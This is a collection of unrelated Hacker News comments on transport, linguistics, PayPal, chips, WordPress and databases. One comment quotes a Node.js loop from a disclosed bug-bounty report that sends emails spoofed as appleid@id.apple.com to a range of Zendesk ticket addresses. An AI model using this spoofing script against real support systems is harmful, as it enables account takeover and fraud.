skysight-inc/HackerNews huggingface dataset:
Right, but all C courses I've done had UB in examples without mebtioning it. There teachers just didn't know what they are teaching.
"You" can learn to steer your mind by choosing which of these thoughts to capture and dwell on, by monitoring them.

There is voluminous writing in the area of monastic spiritually about this. On the one hand, they affirm that these thoughts aren't chosen, using the vocabulary of sinful thoughts introduced by demons. But it's also clear that change is possible through prayer/meditation (not exactly identical to modern ideas about mindfulness).
Roads are much more efficient with fewer cars.
Right, because "present" is the tense here and "perfect" the aspect.

https://en.wikipedia.org/wiki/Present_perfect
I'm sure there's going to be battery "rejuvenation" plants where they reset the chemistry on old batteries and refurbish them as new.

When we're talking batteries that cost in the thousands, it starts to make sense
Apple paid for certification.
We also have a similarly frustrating kind of arguments in germany itself.

Like, focus on public transport won't work. Because in some tiny towns of 30k people living there, there is never a bus around so why care? Like... dude. In Hamburg, we have subway stations that move more people in minutes than people live in your town. Yes, it may not work on your case. Your case is however a side note. It needs consideration, but not focus.

Or electric vehicles. There are interesting questions about electric vehicles in uncontrolled situations, emergency services and long-distance situations. As well as regions without a good charging infrastructure. Yes. These are problematic. Except, most likely, more unique cars drive past my window in an hour on a workday than exist in that tiny town. Just keep your ICE car for the trip to spain you never take by car, but we should optimize the vehicles in cities. Again, it needs consideration, but not focus.
https://www.sqlite.org/cves.html provides an interesting perspective. While they thankfully already have a pretty low surface area from overall design/purpose/etc, You can see a decent number of vulns reported that are either 'not their fault' (i.e. wrappers/consumers) or are close enough to the other side of the airtight hatchway (oh, you had access to the database file to modify it in a malicious way, and modified it in a malicious way)[0]

[0] - https://sqlite.org/forum/forumpost/53de8864ba114bf6
PayPal has always been a disaster. There have been so many stories of people having their accounts frozen for long periods of time while whatever passes for "customer service" at PayPal jerked them around or outright ignored them that I stopped using PayPal a very long time ago and I've never once regretted it.

I see that paypalsucks.com is gone now. Not sure when that happened (archive.org is down too), but really, people have had more than enough warning about what a shit company PayPal is, so anyone continuing to get screwed over by them now is pretty much asking for it.
> I love that "system 1" and "system 2" are tossed out as fundamental concepts of mind when they're basically labels for some semi-random ideas based on bullshit studies in a pop sci fluff book. Is there any actual science that ties these ideas to mathematical reasoning?

I think this fails to hit the mark on what people actually care about with regards to system 1 vs system 2. It’s really just, can we build models that are able to vary how long they think about a problem? Current AI models are very limited in this aspect and I think most would agree that being able to think about a problem for a period of time is a useful feature that we humans use all the time.
I’ve learned that in a job interview if you are too impressive relative to the team they don’t hire you. Seems no one wants to hire their replacement.

Starting your own business is hard, but it is the next best option if you haven’t found the right place to work.
Maybe we should work on making one vote to be equal in the nation.
I Left wp development when gutenberg came out, it was clear that things would have turned for the worse.
Since then basically no new features only new bugs on an editor the majority didn't want and still doesn't.
Now this. It feels good to be right and see things turned even worse than expected but what a waste.
Wp could have improved so much and done so much more for entrepreneurs and startups.
Instead they are stuck in 2018
Here's a better and cleaner source of the same news -

https://www.theguardian.com/world/2024/oct/11/dna-study-chri....

the-express.com page has 2 scroll-fulls of 3rd party garbage blocked by uBlock.
Nvidia will compete with pricing using H100, H200 against AMDs latest. Basically AMD will get sales, but profit margins are nowhere where Nvidia is.

Operating income to sales (ttm):

AMD: 4%
NVDA: 62%

Nvidia and AMD and both competing as customers to TSMC for fab supply they need to order 1-2 years in advance. Apple and Nvidia are served first because they are the best paying customers.

ps. When Intel was the big dog, it almost killed AMD every time they made a x86 chip that was better than Intel. All Intel had to do was to sacrifice little profit margins, removing AMDs profit. This time the demand is so high that it's not going to happen, so AMD can enjoy the piece it has.
As a German speaker, I understand those issues.

I currently learn Spanish, and I'm always amused by how regular everything is.

In German, words constantly get split up and change positions in the sentences when you say something slightly different.

Du sprichst Deutsch.

Sprichst du Deutsch?

Vs

Hablas Español.

¿Hablas Español?

Also, most Germans don't like speaking German with people who don't speak it well. Probably, because subtle errors can change the whole meaning.

For most Germans it's easier to speak English with foreigners who speak better English than German.
The useful part is you can do anything you want with the other bits and have it still be a valid UUID.
> The commission ultimately approved the 36-launch plan at the meeting, on the condition that Space Force undertake seven measures to improve environmental protection and coastal access. But military officials didn’t commit to following them during the hearing, drawing fiery criticism from commissioners.

https://www.politico.com/news/2024/10/10/california-reject-m...
Why is this relevant?

Who is interested about such certification?
He's never really been a good person or savvy in general and IMO people put him on pedestal before recently. This is the guy who bought tumblr and hasn't done anything of merit with it after all.
What "Turkish schools" call it is irrelevant, it adds "colour" to an event. Just because the events happen to be in the past, does not make the Inferential Mood a tense. An event can be in the past but factual.
That would be more compelling if the only change was the security patch itself. Maybe a link to the “only supported” fork.
Deriving the Kelly Criterion to Maximise Profits
You still use this tense if you are just reporting what you heard on news. What matters is that you have not witnessed it, just talking about what you heard on news.
“There was an accident.”
“Kaza olmuş” (the alleged gossip tense).

If you want to emphasize something matter of factly, you might use the normal past tense (kaza oldu) but that might imply you seen it yourself, you you might get asked if you were actually there.

In something like a history book, past events usually mentioned by a combination of this reported speech and past tense of the “do” verb:
“Kaza olmuştur”

To sum up, it is not specifically a gossip tense. If you were not there, even if you are certain, you use reported version.
I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com :

const sendmail = require('sendmail')();

// Assuming the ticket you created in step #2 was assigned a ticket ID of #453
// verification email landed somewhere near there
const range = [448, 457];
for (let i = range[0]; i < range[1]; i++) {
// Send spoofed emails from Apple to Zendesk
sendmail({
from: 'appleid@id.apple.com',
to: `support+id${i}@company.com`,
cc: 'daniel@wearehackerone.com',
subject: '',
html: 'comment body',
}, function (err, reply) {
console.log(err && err.stack)
console.dir(reply)
});
};
Cutler must have hated that layer!
I will happily and gladly hire anyone who is better than me! Most good people I know are similar. It takes a special kind of a petty person to feel threatened by someone else being good.
I'm quite certain the typeface is Computer Modern (the primary font being CMU Serif, to be precise). It can be found by Googling it. I also distribute the fonts as an NPM library, since they are OFL. [1]

[1]: https://github.com/stevenpetryk/computer-modern
All of that fancy crypto goes through a few regulated CEX entry points to become USD because people and businesses pay for expenses (notably, taxes) in USD.
I didn’t revoke the “PayPal shopping” permission. But now I will.

Wonder if PP system automatically moves that slider to off if you revoke the “PayPal Shopping” permission. I honestly don’t remember granting that explicitly. Then again, I have only used PP for rare occasions
How about Apple and Foxconn?

If your reaction is that Apple’s core competency is in marketing and design and not manufacturing then i will ask if the same pattern couldn’t be applied to Boeing.
People are concerned about you, my dude. Very concerned. From one human being to another - please consider taking a step back to get some perspective.
Sure but at some point you need to rotate your master key. Copying is inevitable. At least your tooling can make it easy and reliable.
Don't use lisp. Normal people don't like it, it looks weird. I wonder how many projects failed because they were lisp. Normal people: Visits a project page. Sees it's a lisp. Closes page.
This is super loud to me RN because some of these "big" companies are case studies in Mythical Man Month's "N channels of communication" as well as weird flashbacks to discussions on costs context switching and schedulers in various CS courses.
> public transport (and vegan) advocates would like to force you to live like they do

Is there a citation for this claim?

> governments pass nonsensical bans like banning flavored cigarettes

Is it nonsensical? There is research[1][2] showing that flavoured tobacco is one of the primary factors used to attract younger users. We know that tobacco is bad, and also that flavoured tobacco increases its usage, so unless you are against public health policy measures themselves, it follows logically that flavoured tobacco should be covered by public health measures.

[1] https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9007155/
[2] https://tobaccocontrol.bmj.com/content/26/6/709
> that's less than what a junior engineer would make even if they never got any raises

You have to factor in how much time you spend on the content for it to be comparable. A normal tech US salary job would be 9am to 6pm and maybe 15-30 days of PTO a year.

If you have a course or book that made $500,000 over 9 years, you might have spent 4-5 months making it up front and then XX hours per year for support and keeping it up to date. The return doesn't sound bad if you spent 40 hours a year on it. That's 320 hours over 8 years or roughly 2 months of full time work.
How certain are you it was a problem with Mint and not an issue with the laptop itself?
Lol, surely they will deliver - nah, they will fork core, mirror plugins and themes repos and do absolutely minuscule minimal effort to keep it secure / bacport some changes from main WP line to keep it compatible with most of the plugins and that's all.
By way of a single example, we've been migrating recently from spark to duckdb. Our jobs are not huge, but too big for a single 'normal' machine. We've gone from a 2.5 hour runtime on a cluster of 10 machines (40,vCPU total) to a 15 minute runtime on a 32vCPU single machine. I don't know for sure, but I think this is largely because it eliminates expensive shuffles and serde. Obviously results vary hugely depending on workload, and some jobs are simply too big even for a 192 core machine. But I suspect a high proportion of workloads would be better run on single large machines nowadays
As the other commenter said, perfect is the aspect, so the internal structure of an event, very important e.g. in Slavic languages. Your confusion leaves the door open to doubt on your actual knowledge of linguistics.
> For my mind the smartest ticket technology I ever saw was Hungarian and used on the Budapest transit system in the 1980s - some devious discrete mathematics that coded the journey stops, used status, and allowed routes all in a matrix of hole punches on a small paper ticket. The punches (that you had to use when getting on trains, buses and trams) were purely mechanical, and so was the validating machine used by inspectors/conductors to see if you had punched your ticket. Simply genius.

I think you're giving a little too much credit. In the nearby Czech Republic we had a system where there'd be eight (or perhaps 10?) places for a hole. Your ticket would get marked with a combination specific to the vehicle.

They'd periodically change which vehicle has what holes. With 8 holes, 256 tickets would be enough to give you a valid ticket for any vehicle. With 10 holes, 1024 tickets. I think some people carried around all the tickets to be able to ride for free. Others kept tickets with small number of holes for later reuse in a vehicle which had a superset of those. Good times!

I find it very hard to believe the Hungarians has something smarter than that, but would love to be proven wrong!
As a UK citizen living in Berlin, I assure you that for all the cancellations and repair works, there's many places which look up to the German system.

(I've also been to the USA, and (IMO) Amtrak makes the UK look good).
The weather would like to have a word with you.
What kind of response is that? Does that mean you approve of sites like GPLDL then?
So you've never clicked on Twitter links, even when they have been submitted to HN?
Actually there is no such thing as Ottoman Turkish, it is still Turkish with heavily borrowed phrases. It is not a distinct language. You won’t have any hard time understanding the spoken Turkish in Anatolia of that time. So called Ottoman Turkish was mostly limited to the government and literature use. Here is a recording of “Ottoman Turkish” from that time.

https://m.youtube.com/watch?v=fmNl4gcufBU&pp=ygU0RXNraSBrYXl...
The only carbon capture/sequestration method I’m aware of without significant tradeoffs outside of price is direct air capture, and last I saw, that clocked in at $600-1200/ton (Climeworks). So maybe not such a terrible deal?
This isn't apples and oranges. The point of most cars being bought used is most cars are almost purely functional. If the math works out that electric is financially superior, it will come out ahead for those use cases.

That's why electric car adoption is an s curve
Crazy stuff gets community noted really quick. Frankly, I like it as it's taught me to be quite a bit more suspicious about crazy stuff.
Got up to level 13, it is pretty hard. Interesting choices you have to make, horizontal speed vs vertical.
+1 to all of this. The thing I'd add is that we use barman for our additional replicas; WAL streaming is very easy to do with Barman, and we stream to two backups (one onsite, one offsite). The only real costs are bandwidth and disk space, both of which are cheap. Compared to running a full replica (with its RAM costs), it's a very economical way to have a robust disaster recovery plan.

If you're doing manual failover, you don't need an odd number of nodes in the cluster (since you aren't looking for quorum to automatically resolve split-brain like you would be with tools Elasticsearch or redis-sentinel), so for us it's just a question of "how long does it take to get back online if we lose the primary" (answer: as long as it takes to determine that we need to do a switch and invoke repmgr switchover), and "how robust are we against catastrophic failure" (answer: we can recover our DB from a very-close-to-live barman backup from the same DC, or from an offsite DC if the primary DC got hit by an airplane or something).
why can’t a student leave their phone in the locker? or the teacher has a large bin where all students must put their phone into (powered off) before class starts.
It's pretty awesome, but it gets more expensive all the time.

First it started as 9€ ticket for 3 months.

People loved it, and the government talked about doing a permanent 29€ ticket.

But now we pay 49€ and it's already planned to become 59€.

Really sad, as it isn't affordable for poor people anymore.
No, it's spoofed appleid@id.apple.com addresses. But you are correct that it's not customer SPF/DMARC configuration that's the problem.
A German study from 2021 says road traffic created 70 billion euros costs per year. Of that 45 billion had to be paid from general taxes.
I doubt that moves the needle a lot unless you're making _everything_ fully automatic, i.e. including the infrastructure creation & maintenance and streamline that extremely well.

If you take a ride from Hamburg to Berlin with the ICE, there's maybe 8 staff on board, 200-300 passengers, it takes ~2 hours and the average ticket price is 77€ according to some travel app.

Even if you get rid of all 8 of them, the price per ticket isn't going to be lowered significantly.
As I said, if you understand why, you'll be well prepared for the next generations of models.

Try out the query and see what's happening with open eyes and where it's grounding.

It's not the same as things like "pick a random number" where it's due to lack of diversity in the training data, and as I said, this particular query is not deterministic in any other model out there.

Also, keep in mind Opus had RLAIF not RLHF.
I wonder how much improvement is owed to which changes. I've also never heard of "Muon - Momentum Orthogonalized by Newton-schulz" being used.

EDIT: there's a bit more info on his twitter - https://x.com/kellerjordan0

It looks like he created this optimizer. Works on 2D matrices only.
Good catches. Also note that "ACF" is trademarked by WPEngine and is used throughout the source code and reviews.
This goes a step further than a typical CD key because the license is contingent on one's Steam account. If you lose your Steam account you lose all your licenses.

>The Content and Services are licensed, not sold. Your license confers no title or ownership in the Content and Services. To make use of the Content and Services, you must have a Steam Account and you may be required to be running the Steam client and maintaining a connection to the Internet. [1]

[1] https://store.steampowered.com/subscriber_agreement#2
I think a lot of people use stars as a kind of bookmark, not for recognition. It takes time to read through the code or set up a working build from a fork. I, for one, occasionally use stars to remind myself to return to a repo for a more thorough look (especially if I'm on mobile at the time).

Also, bots.
I made an argument for making my local public transportation free: https://boehs.org/node/free-the-t

Some of the arguments is based on similar German research, which is cited.
"He's correct" when I just gave a counterfactual showing "any anti-Israel post" is false?

There have been many very prominent posts:

https://news.ycombinator.com/item?id=38616550

https://news.ycombinator.com/item?id=39143043

https://news.ycombinator.com/item?id=39603299

https://news.ycombinator.com/item?id=38572675

https://news.ycombinator.com/item?id=40267639

How many more do you need? Your bias is showing, same as when different people simultaneously complain that HN is "too left" or "too right."
What PayPal lists in the Privacy Policy for the US is only an example. I interpreted the change as “PayPal collects any number of information on you. Gives you seemingly innocuous data such as inseam. But in reality, we may collect political affiliation, contacts, salary information, and share that with retailers that want our data”
Huh. I use pgtk Emacs, too, and am surprised to find someone who doesn't find my statement obvious.
For first time I hear it as "gossip tense". Actually it is "a tense that you did not witness yourself" or officially "learned past tense".
certification costs money
> That puts them in the "petit bourgeois" category, like small shopkeepers.

Got it. Thanks! :-)
All new industries are plagued by functional problems during the scaling stage. Electricity isn't inherently as unreliable in other applications so these problems will eventually be resolved and have approximately the same failure profile as normal electricity.
> I'll take a name like Epyc over Intel Core Ultra 7 258V or Ryzen AI 9 HX 370.

Well no, the comparison to "Epyc" is "Intel Core" and "Ryzen"

And if you gave each SKU its own name I think that would very quickly get worse than the stupid numbering schemes.
> The problem with agents is divergence. Very quickly, an ensemble of agents will start doing their own things and it’s impossible to get something that consistently gets to your desired state.

Sounds like management to me.
Except that isn't what's happening here. No one is protecting themselves from uncomfortable truths by choosing not to use the word "shit" to describe anything and everything they don't like. People use vulgar language all the time, especially online. "Enshittification" doesn't move the needle either way, but it comes off as trying too hard to be edgy and it's well overdone at this point.

I mean, you accuse people of trying to "shift the narrative" if they don't like it. As if not using it is wrongthink to you. You frame "enshittification" in terms of class warfare and self-deception, and almost imply that using it is a revolutionary act. And that's weird. That's far too much emotional and political investment in what amounts to a poop joke.

It's done, please find another meme. I know you won't, but I wish you would.
The spoofed address was appleid@id.apple.com . support+id@company.com was the to address, not the from address.

https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b...
This was phrased poorly if I understand the meaning.

"If there is limited use, roads are more efficient than rail"

That's probably true as roads tend to cost less per mile than rail and you don't have transfer problems.

When heavily utilized the opposite is true: rail is more efficient than roads.
I generally agree, but the length of a patent should probably be proportional to the R&D costs (and possibly other factors). Pharmaceutical development is insanely expensive and risky, if we want new, revolutionary drugs to be brought to market the pharma companies need to be able to make a profit (this may be an unpopular opinion because of the price gouging pharma companies are infamous for, but this is part of the reason pharma companies aren’t developing new antibiotics yet, which will be a disaster when we need them). The fact that novel drugs can have the same patent lifetime as the bit operations required to average two integers correctly is insane. Evaluating the appropriate patent length in practice is probably difficult in that it would be gamed by applicants.
In Japan, rail companies also own the land around the station. There is often a mall or office right on top of the station. So they capture a more of the value of having public transport.

In western countries land lords benefit a lot from nearby public transport for free and maybe only contribute in taxes.
You are abusing the community for your own gain. Stop!